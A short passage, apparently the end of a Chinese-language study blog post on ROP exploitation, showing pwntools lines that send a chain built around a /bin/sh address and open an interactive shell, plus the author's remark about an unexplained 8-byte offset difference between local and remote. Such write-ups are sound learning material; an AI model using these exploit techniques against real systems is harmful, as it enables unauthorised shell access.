rop.raw(bin_sh_addr)
rop.raw(resolve_call)
io.send(rop.chain())
io.interactive()

这里又遇到一个问题,在最后一段rop如果是远程环境偏移不变,如果是本地环境偏移就要对应减8,暂时还没有发现原因

小结:

这篇文章断断续续写了快3个星期(最近有点偷懒了)目前的掌握程度还不深要靠实战来加深,加油!